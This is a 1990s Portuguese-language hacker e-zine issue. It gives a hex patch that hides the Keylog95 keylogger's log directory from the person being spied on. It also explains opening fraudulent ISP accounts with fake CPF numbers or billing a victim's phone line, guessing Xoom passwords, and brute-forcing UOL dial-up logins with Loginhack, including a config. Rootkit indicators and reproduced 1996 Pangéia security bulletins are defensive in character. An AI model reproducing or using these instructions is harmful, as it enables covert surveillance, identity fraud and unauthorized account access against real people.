1. Ative o painel de controle e clique no ícone Rede, a fim de exibir a caixa
de dialogo Propriedades de rede.
2. Clique no botão Compartilhamento de Impressão e Arquivos.
3. Clique nas opções de compartilhamento desejadas. Uma marca de verificação
significa que o recurso está ativado. Na rede-exemplo, esse procedimento deve
ser feito nas maquinas DX266 e 486DX100. Essa caixa de diálogo indica que o 
micro será compartilhado. Falta ainda dizer o que nele será compartilhado.
	Mas isso você tem capacidade de descobrir sózinho porque agora eu já
to cansado de escrever este texto e vou me deitar no sofa, vêr TV e comer 
BONO. Ta com inveja né?


	Obs.:Este texto, a maior parte dele, foi tirado da revista 
"INFORMÁTICA EXAME"(ou "EXAME INFORMATICA") ano 10 - Numero 117 - DEZEMBRO
/1995, páginas 110 e 111. 


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-





$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$             $$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  7. Crackerz  $$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$             $$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



PS1: A continuação da lista só não saiu na ultima ediçào pq eu me esqueci de
     colocar, espero que não aconteça mais.
PS2: A seção pode tah meio fraca, mas é por pouco tempo. Eu conversei com o
     Gabriel DOV(editor do zine DOV da gabscape) e ele concordou em colaborar
     para a seção Crackerz.


-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Lista de hexas (parte 4)



HEXA:		COMANDO:

28C0            SUB     AL,AL                              
28C1            SUB     CL,AL                              
28C2            SUB     DL,AL                              
28C3            SUB     BL,AL
28C4            SUB     AH,AL
28C5            SUB     CH,AL                              
28C6            SUB     DH,AL                              
28C7            SUB     BH,AL
28C8            SUB     AL,CL
28C9            SUB     CL,CL                              
28CA            SUB     DL,CL                              
28CB            SUB     BL,CL
28CC            SUB     AH,CL
28CD            SUB     CH,CL                              
28CE            SUB     DH,CL                              
28CF            SUB     BH,CL
28D0            SUB     AL,DL
28D1            SUB     CL,DL                              
28D2            SUB     DL,DL                              
28D3            SUB     BL,DL
28D4            SUB     AH,DL
28D5            SUB     CH,DL                              
28D6            SUB     DH,DL                              
28D7            SUB     BH,DL
28D8            SUB     AL,BL
28D9            SUB     CL,BL                              
28DA            SUB     DL,BL                              
28DB            SUB     BL,BL
28DC            SUB     AH,BL
28DD            SUB     CH,BL                              
28DE            SUB     DH,BL                              
28DF            SUB     BH,BL
28E0            SUB     AL,AH
28E1            SUB     CL,AH                              
28E2            SUB     DL,AH                              
28E3            SUB     BL,AH
28E4            SUB     AH,AH
28E5            SUB     CH,AH                              
28E6            SUB     DH,AH                              
28E7            SUB     BH,AH
28E8            SUB     AL,CH
28E9            SUB     CL,CH                              
28EA            SUB     DL,CH                              
28EB            SUB     BL,CH
28EC            SUB     AH,CH
28ED            SUB     CH,CH                              
28EE            SUB     DH,CH                              
28EF            SUB     BH,CH
28F0            SUB     AL,DH
28F1            SUB     CL,DH                              
28F2            SUB     DL,DH                              
28F3            SUB     BL,DH
28F4            SUB     AH,DH
28F5            SUB     CH,DH                              
28F6            SUB     DH,DH                              
28F7            SUB     BH,DH
28F8            SUB     AL,BH
28F9            SUB     CL,BH                              
28FA            SUB     DL,BH                              
28FB            SUB     BL,BH
28FC            SUB     AH,BH
28FD            SUB     CH,BH                              
28FE            SUB     DH,BH                              
28FF            SUB     BH,BH

29C0            SUB AX,AX
29C1            SUB CX,AX
29C2            SUB DX,AX
29C3            SUB BX,AX
29C8            SUB AX,CX
29C9            SUB CX,CX
29CA            SUB DX,CX
29CB            SUB BX,CX
29D0            SUB AX,DX
29D1            SUB CX,DX
29D2            SUB DX,DX
29D3            SUB BX,DX
29D8            SUB AX,BX
29D9            SUB CX,BX
29DA            SUB DX,BX
29DB            SUB BX,BX

2D$$**          SUB AX,**$$

40		INC AX
41              INC CX
42              INC DX
43		INC BX
48		DEC AX
49              DEC CX
4A              DEC DX
4B		DEC BX

81E9$$**        SUB CX,**$$
81EA$$**        SUB DX,**$$
81EB$$**        SUB BX,**$$

83E9**          SUB CX,+**
83EA**          SUB DX,+**
83EB**          SUB BX,+**

FEC0		INC AL
FEC1            INC CL
FEC2            INC DL
FEC3            INC BL
FEC4		INC AH
FEC5            INC CH
FEC6            INC DH
FEC7		INC BH
FEC8            DEC AL
FEC9            DEC CL
FECA            DEC DL
FECB            DEC BL
FECC            DEC AH
FECD            DEC CH
FECE            DEC DH
FECF            DEC BH

                           

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Crackeando o Keylog95


	Moleza! Talvéz vc faça isso c o diretório onde o windos foi instalado
não for o \win. O procedimento normal do programa seria criar o diretório
\logx dentro do \win. Porém se o dir do windows não for o \win, vc deveria
criar o \win, o que seria muito suspeito e facil de ser localizado pelo dono
do programa.
	Do modo em que nós crackearemos, trocaremos o diretório \win pelo
\dos, onde estão os comandos externos do dos. Em alguns programas de insta-
lação(geralmente em protugues) o \dos é substituido pelo \windows\dos. Nesse
caso crie o diretório \dos e coloque uns textos qquer lah para que dificulte
o dono achar o file de log.
	Crackeando..
	Rode um editor hexadecimal no Keylog95.exe e procure pelo hexa:

5C 77 69 6E 5C 6C 6F 67 78
\win\logx	<--- Resultado.

	E mude para:

5C 64 6F 73 5C 6C 6F 67 78
\dos\logx	<--- Resultado.


	Agora procure pelo hexa:

5C 57 49 4E 5C 4C 4F 47 58 5C
\WIN\LOGX\	<--- Resultado.

	E mude para:

5C 44 4F 53 5C 4C 4F 47 58 5C
\DOS\LOGX\	<-- Resultado.


	Prontinho. Salve o programa e rode o programa.



-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=




$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$
$$$$$$$                           $$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$
$$$$$$  8. Invasão de privacidade  $#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$
$$$$$$$                           $$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Kits de hackeagem

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Root Kit


	Os principais sintomas que a instalação foi comprometida pelo RootKit

	Note que os itens 1 e 2 são default, e podem ser facilmente alterados
nas fontes. 

1) Porta 31337 sendo ouvida(LISTEN) ou em uso. (Pode ser verificado, mesmo 
que o programa "netstat" esteja comprometido) 

2) Existencia dos seguintes arquivos: 

     /dev/ptyp 
     /dev/ptyq 
     /dev/ptyr 
     /dev/ptys 

3) modificação de data e principalmente (já que o instalador mantem as datas
originais) de tamanho em alguns dos seguintes programas: 

 ls
 du
 login
 chsh
 chfn
 ps
 top
 inetd
 passwd
 rshd
 netstat
 ifconfig
 syslogd


	O RootKit pode ser instalado parcialmente, portanto não há necessida-
de de todos programas estarem com os tamanhos alterados.   




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

	Demon Kit


	Foi verificada a existência de um pacote nos moldes do "rootkit". 
	Este em especial é chamado DemonKit e apesar de menor que o rootkit
original, tem serviços sufientes para manter um usuário escondido do admis-
trador, além de conter um exploit (Splitvt), que permite dar ao detentor do
pacote senha de root em instalações com o splitvt vulnerável. O pacote foi
escrito originalmente para Linux, mas pode ser facilmente portado para outros
Unix, nao estando estes, portando, fora de perigo. 
	Os principais sintomas que a instalação foi comprometida pelo 
DemonKit. Note que os itens 1 e 2 são default e podem ser facilmente altera-
dos nas fontes. 

1) Porta 6013 sendo ouvida (LISTEN) ou em uso. 

2) Existência dos seguintes arquivo: 
/dev/ptyq 

3) Modifição de data e principalmente de tamanho, em alguns dos seguintes 
programas: 

 login
 identd
 netstat
 telnet
 ping


	O DemonKit pode ser instalado parcialmente, portanto nao ha' neces-
sidade de todos programas terem sido modificados.   



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


1995-97 © Pangéia Informática LTDA. 




$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  9. Hack, the Art  $$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$                  $$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=

	Contas fantasmas na UOL e Mandic (por Slacker)


	Aconselho a fazelas com um laptop conectado a um orelhão.
	Vou ensinar como faze-lo na MANDIC, na UOL o procedimento é identico
a não ser pelos Endereços :) .
	Conectesse a MANIC pelo telefone 2100066 (Porto Alegre) e use o login
ppp e a senha novo.
	Acesse a pagina de cadastro(http://www.mandic.cadastro.com.br , eu
acho). Complete o formulario com dados falsos. Aqui vão alguns dos dados
muito importantes que você deve colocar nos devidos lugares:

* CPF : Coloque um CPF falso, para isso vc precisará de um gerador a mão.
* Forma de pagamento : Débito na conta telefonica, e coloque um numero qquer.
* Cartão de credito : Não coloque nada.

	Se quizer sacanear um otario, preencha os dados deles. No final do
mes ele se resolve com a conta telefonica e os cara da MANDIC.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Hackeando a XOOM por dedução.


	Fiz uma média de que 1 de cada 30 usuários da xoom usam a senha igual
ao login, ou senhas tipo "homepage" e "page". Para descobrir o login é moleza
!!!

	http://members.xoom.com/cszine
				^^^^^^---Esse é meu login.

	Ae vc vai na seção de usuarios da xoom e tenta:
user : cszine
pass : cszine
ERROR
user : cszine
pass : homepage
ERROR
user : cszine
pass : page
OK (É ruin heim)



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Hackeando provedores com o Loginhack v1.00 da THC


	O que esse programa faz é conectar-se ao provedor e testar as diver-
sas senhas de uma wordlist para consegir estabelecer uma conexão.
	Primeiro vc deve acertar seu script. Eu uso o Dec-serv feito pelo 
Tron X e que jah vem por default com o programa. Edite-o e mude as linhas

init_modem=z
init_data=8n1
LOGFILE=xxxxxx.log
PHONE_NR=xxxxxx
DIAL_TRIES=0
LOGIN_TRIES=0
DIC(1)=word.dic

	Para:

init_modem=atz
init_data=8n1
LOGFILE=uol.log
PHONE_NR=2100045
DIAL_TRIES=0
LOGIN_TRIES=0
DIC(1)=wordlist.dic

	Acima estão as configurações necesarias para hackear a uol. Mude-as
adequadamente ao seu provedor. Para compila-lo use o Lh-comp.exe assim:

lh-comp dec-serv.txt

	Isso criará o dec-serv.scr .
	Agora rode o programa. Se ainda precisar configurar os dados acima
entre no Setup. Se está tudo certo selecione Load compiled Script [L]. Ae 
quando pedir o nome do script digite ? para lista-los. Então digite o nome
do script(se fez tudo certo será dec-serv.scr).
	Após carregar o script digite S para iniciar. Pronto! Agora é só
esperar que talvéz demore um pouco.




-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	


$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$                   $$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$  10. ¡¡¡¡BoNuS!!!!  $$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$                   $$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



	Antes de proceguir gostaria de informar que alguns dados foram extra-
idos dos boletins por serem extremamente sem importancia.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim de 1996 da Lista de Segurança da Pangéia Informática 

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 001


18 de Agosto de 1996 
Tópico: Vulnerabilidade em Resolv+ 


	Foi verificada uma vulnerabilidade na biblioteca resolv+, usada por 
todos os programas que usam resolução de nomes tais como: ping, telnet, rsh,
ssh e muitos outros. 
	Esta vulnerabilidade permite a um usuário local ler qualquer arquivo
do sistema incluindo /etc/shadow, e qualquer outro que o usuário root tenha 
permissão para ler, já que estes programas rodam com o suid ligado. 


1. Descrição 

	Programas como ftp, netscape e outros tem que permitir ao usuário 
comum usar determinados recursos do sistema, como sockets por exemplo. Uma 
maneira pratica de permitir isso é ligar o suid dos executáveis, esta solução
em si não representa nenhum risco a segurança da instalação. 


2. Impacto 

	Foi observado que, em determinadas circunstâncias, esta característi-
ca pode permitir a um usuário comum ler um arquivo com permissões de leitura
restritas ao root. 
	Esta vulnerabilidade existe na biblioteca resolv+, que em alguns
sistemas é incluida na biblioteca libc (Linux, por exemplo). 


3. Solução 

	Esta vulnerabilidade NÃO foi observada nos seguintes sistemas: 
. HP-UX 10.0 
. AIX 3.5 
. SunOS (sem a lib resolv+ separada) e Solaris 2.5 
. OSF1 3.2 
. Distribuicoes de Berkeley 
. SCO Unix 3.2v4.2 e 3.2v5.0.0 
	Mas FOI encontrada em Linux rodando varias versões da libc, incluindo
a mais recente (libc-5.3.12), as mais novas versões de kernel incluido a mais
recente (2.0.13). 
	Note que isso não elimina a possibilidade desta existir em outros 
sistemas Unix não testados. 
	A única maneira de eliminar esta condição foi gerar uma nova libc, 
alterando o código que continha o problema. A solução encontrada podera ser 
melhor implementada em futuras versões, caso consiga maior cooperação. 
	As bibliotecas libc-5.3.12 para Linux estáticas e dinamicas estão 
disponíveis em: ftp://ftp.pangeia.com.br/pub/seg/libs 
	Onde: 
libc.a - biblioteca estática (a.out) 
libc.so.5.3.12 - biblioteca dinamica (shared) 
libc.md5 - assinatura das bibliotecas 

	Para os programas que usam bibliotecas dinamicas nada precisa ser 
alterado, apenas copie a libc.so.5.3.12 para o diretorio /lib, e rode o pro-
grama ldconfig. Nos casos de a.out (estáticos) é necessário copiar a libc.a e
recompilar os programas que usam a resolv+. 

	Nota: É recomendado que se atualize as bibliotecas libm 
(libm.so.5.0.6) e libpthreads (libpthreads.so.1.60.4) e respectivos objetos 
relacionados. 


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 002


21 de Agosto de 1996 
Tópico: Vulnerabilidade em rwhod 


	Verificada um vulnerabilidade no servidor rwhod, que disponibiliza 
informações sobre uma determinada máquina, que podem ser observados usando 
clientes como rwho e ruptime. 
Este serviço utiliza UDP para transporte das informações entre máquinas.  


1. Impacto: 

	Foi observado que usuários remotos, usando esta falha, podem inter-
romper o serviço rwho e/ou ganhar acesso (inclusive de root) em uma máquina
que esteja rodando este serviço. 


2. Solução: 

	Esta vulnerabilidade foi verificada nos seguintes sistemas: OpenBSD,
NetBSD, FreeBSD, AIX e TODAS as distribuições Linux, incluindo as mais recen-
tes. Outras plataformas NÃO foram examinadas, portanto NÃO está descartada a
possibilidade do problema tambem ocorrer. 
	O pacote com fontes e executável para Linux ELF, eliminando a vulne-
rabilidade está disponível em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/rwhod.tar.gz 
  


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 003


26 de Agosto de 1996 
Topico: Vulnerabilidade em cfingerd e outros fingerd 


	Verificada uma vulnerabilidade no servidor cfingerd, que disponibi-
liza informações sobre uma determinada maquina e/ou um determinado usuário,
as quais podem ser observados usando o cliente finger. 
	Este serviço permite a um usuário remoto obter informações sobre 
usuários locais tais como: nome de login, nome real, data e hora do último 
acesso, tty, shell e chave pública, entre outros. 


1. Impacto: 

	Foi observado que, existindo uma determinada entrada no arquivo 
/etc/cfinger.conf, um usuário local pode ler arquivos que não teria acesso 
como usuário comum, como por exemplo o /etc/shadow, ou ter acesso a disposi-
tivos como /dev/console ou /dev/kmem. 


2. Solução: 

	Esta vulnerabilidade ocorrerá em todas as plataformas onde o servidor
cfinger tiver sido compilado. 
	O problema pode ser minimizado alterando-se o dono do serviço de root
para nobody, no arquivo /etc/inetd.conf. 
	Visto que o servidor cfinger, tem algumas algumas limitações, e' AL-
TAMENTE recomendado a sua substituição pelo pacote ffingerd. Foi verificado
um pequeno problema com a versão anterior do pacote ffinger, que uma vez 
comunicado, foi prontamente corrigido pelo autor. 
	O pacote ffingerd está disponível em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/ffingerd-1.12.tar.gz 
  



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 004


27 de Agosto de 1996 
Tópico: Vulnerabilidade em Pine3.9[1-4] 


	Verificada uma vulnerabilidade no programa Pine, que permite a lei-
tura de mails e news em ambiente Unix, OS/2 e DOS. Esta vulnerabiliade permi-
te a um usuário local obter acesso a conta de qualquer usuário quando da 
execução do programa Pine, inclusive o root. 


1. Impacto: 

	Foi observada uma falha no leitor de mail e news Pine, em relação a 
criação de arquivos temporários. Permitindo que um usuário obtenha acesso, 
(privilegiado ou não) dependendo do usuário que vier a executar o programa 
Pine. 


2. Solução: 

	Esta vulnerabilidade ocorrerá em todas as plataformas Unix onde o 
Pine versoes 3.91, 3.92, 3.93 e 3.94 tiver sido compilado. 
	A versao 3.95 corrige este problema. 
	O pacote pine-3.95 está disponível em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/pine-3.95.ELF.tgz 
ftp://ftp.pangeia.com.br/pub/seg/pac/pine3.95.tar.gz 



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 005


27 de Agosto de 1996 
Tópico: Vulnerabilidade em PKGTOOL 


	Verificada uma vulnerabilidade no programa pkgtool, que permite a 
instalação/remoção de pacotes na distribuição Slackware 3.0 do Linux. Esta 
vulnerabilidade permite a um usuário local obter acesso a conta de qualquer
usuário quando da execução do programa pkgtool, inclusive o root. 


1. Impacto: 

	Foi observada uma falha no programa de instalação de pacotes PKGTOOL,
na criação de arquivos temporarios. Como é normalmente o usuário root que 
instala/remove pacotes, um usuario comum usando esta vulnerabilidade, poderá
obter acesso privilegiado em uma instalação local. 


2. Solução: 

	Esta vulnerabilidade foi testada na distribuição slackware 3.0, não
esta descartada a possibilidade da mesma ocorrer em outras versões da mesma 
distribuição. O problema foi corrigido e o procedimento de instalação é 
simplesmente copiar o programa "cpkgtool" para o diretório "/usr/lib/setup",
que está simbolicamente ligado a "/sbin/pkgtool". 
	O pacote pgktool está disponível em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/cpktool 
  


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 006


3 de Setembro de 1996 
Tópico: Vulnerabilidade em TIN 


	Verificada uma vulnerabilidade no programa tin, que permite a leitura
de news locais e remotos (rtin ou tin -r) em várias plataformas. Esta vulne-
rabilidade permite a um usuário local obter acesso a conta de qualquer usuá-
rio quando da execução do programa tin, inclusive o root. 


1. Impacto: 

	Foi observada uma falha no programa de leitura de news locais e remo-
tos tin na criação de arquivos temporários. Atraves dela um usuário local 
poderá obter acesso privilegiado em uma instalação. 


2. Solução: 

	Esta vulnerabilidade foi verificada em TODAS as versoes do programa 
tin, inclusive na última (1.2 PL2), compilados em TODAS as plataformas onde 
ele está disponível. 
	Uma forma simples de resolver este problema é recompilar o programa, 
incluindo ou alterando a seguinte linha no programa Makefile: 
COPTS = -c -O -DDONT_LOG_USER 
	O pacote tin com a correção também está disponível em: 
ftp://ftp.pangeia.com.br/pub/seg/pac/tin-1.22.tar.gz 



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Boletim 007


13 de Setembro de 1996 
Tópico: Vulnerabilidade em vários shells. 


       Verificada uma vulnerabilidade nos shells padrão Bourne, entre outros.
Esta vulnerabilidade permite a um usuário local mascarar um determinado co-
mando ou usar artifícios para obter privilegios em uma instalação. 


1. Impacto: 

	Foi observada uma falha em alguns shell que permite a um usuário, 
induzir alteraçòes na execução de um script, para atraves destas ler arquivos
aos quais não teria permissão ou conseguir privilegios no sistema. 
	Note que esta não é uma falha grave, mas requer atenção. 


2. Solução: 

	Esta vulnerabilidade NAO foi verificada nas seguintes plataformas: 
. Linux 
. HP-UX 
. BSD 
	Mas o FOI nas seguintes plataformas: 
. SunOs 
. Solaris 
. AIX 
. OSF 
. SCO OpenServer 

	Use para verificar o problema:  

$ sh -c 'echo SIM ^ cat' 
$ SIM <---- Contêm a falha 

Se: 

$ sh -c 'echo SIM ^ cat' 
$ SIM ^ cat <---- NÃO contêm a falha.  

	A solução é optar por shells padrão Posix e desativar, caso seja 
possível, os shells onde a falha for verificada. 
  


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

	Agradecimentos:


	Pouca cooperação foi conseguida para conseguir identificar as máqui-
nas afetadas com o problema, meus sinceros agradecimentos a: 

Joao Cesar da Escossia (escossia@npd1ufes.br) 
Klaus Steding-Jessen (jessen@dcc.unicamp.br) 
Pedro Vazquez (vazquez@iqm.unicamp.br) 
Ricardo Nassif (rn@emacs.bluesky.net) 


1995-96 © Pangéia Informática LTDA. 
http://www.pangeia.com.br/faq 




$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#$$$$$$$$#$$#$##$$#$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$#####$$$#$$$#$#$#$#$#####$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#$$$$$$$$$#$$#$$$$#$#$$##$#$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$#####$#####$#####$#$#$$$#$#####$$$$$$$$$$$$



        Bem por hoje e' soh pessoal!
        Eu encontrei uma porcao de novas zines na inet entre elas: PSICOCYBER
, WOH ZINE, COUNT DOWN e ALZINE. Se eu abrisse um espaco na page para todas
naum iria sobrar nada pra cszine, por isso que eu vou apenas publicar a page
das devidas zines.

PSICOCYBER
http://www.angelfire.com/id/psicocyber

WOH ZINE
http://www.geocities.com/Athens/Acropolis/7632/

COUNT DOWN
http://www.geocities.com/Pentagon/Quarters/3673 

ALZINE
http://www.geocities.com/siliconvalley/way/7029


        Okz? Eu faco isso pq sei como eh ainda estar por baixo naum ser o
conhecido. Espero que facam por mim o mesmo que eu faco por vcs.
        Se vc esta comecando uma zine, mail-me que eu terei prazer em ajudar
a divulga-lo.

